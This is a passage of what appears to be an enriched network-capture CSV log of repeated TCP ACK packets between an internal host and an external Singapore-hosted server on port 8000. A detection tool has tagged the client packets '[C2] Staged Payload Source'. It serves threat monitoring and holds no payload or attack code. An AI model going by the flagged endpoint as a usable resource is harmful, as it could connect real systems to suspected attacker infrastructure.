\"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:22.968200,1133,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1cb400080063e330a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45515, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15923, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:22.968214,1134,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405db400040062a19c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1499, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10777, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:23.983841,1135,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1cc400080063e320a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45516, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15922, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:23.983858,1136,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405dc400040062a18c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1500, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10776, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:24.999532,1137,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1cd400080063e310a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45517, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15921, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:24.999555,1138,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405dd400040062a17c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1501, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10775, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:26.015274,1139,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1ce400080063e300a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45518, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15920, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:26.015314,1140,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405de400040062a16c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1502, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10774, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:27.030941,1141,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1cf400080063e2f0a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45519, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15919, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:27.030964,1142,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405df400040062a15c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1503, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10773, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:28.046450,1143,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1d0400080063e2e0a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45520, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15918, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:28.046473,1144,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405e0400040062a14c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1504, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10772, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:29.062146,1145,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1d1400080063e2d0a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45521, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15917, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:29.062181,1146,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405e1400040062a13c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1505, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10771, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:30.077736,1147,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1d2400080063e2c0a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45522, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15916, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:30.077760,1148,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405e2400040062a12c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1506, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10770, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:31.093433,1149,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1d3400080063e2b0a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, 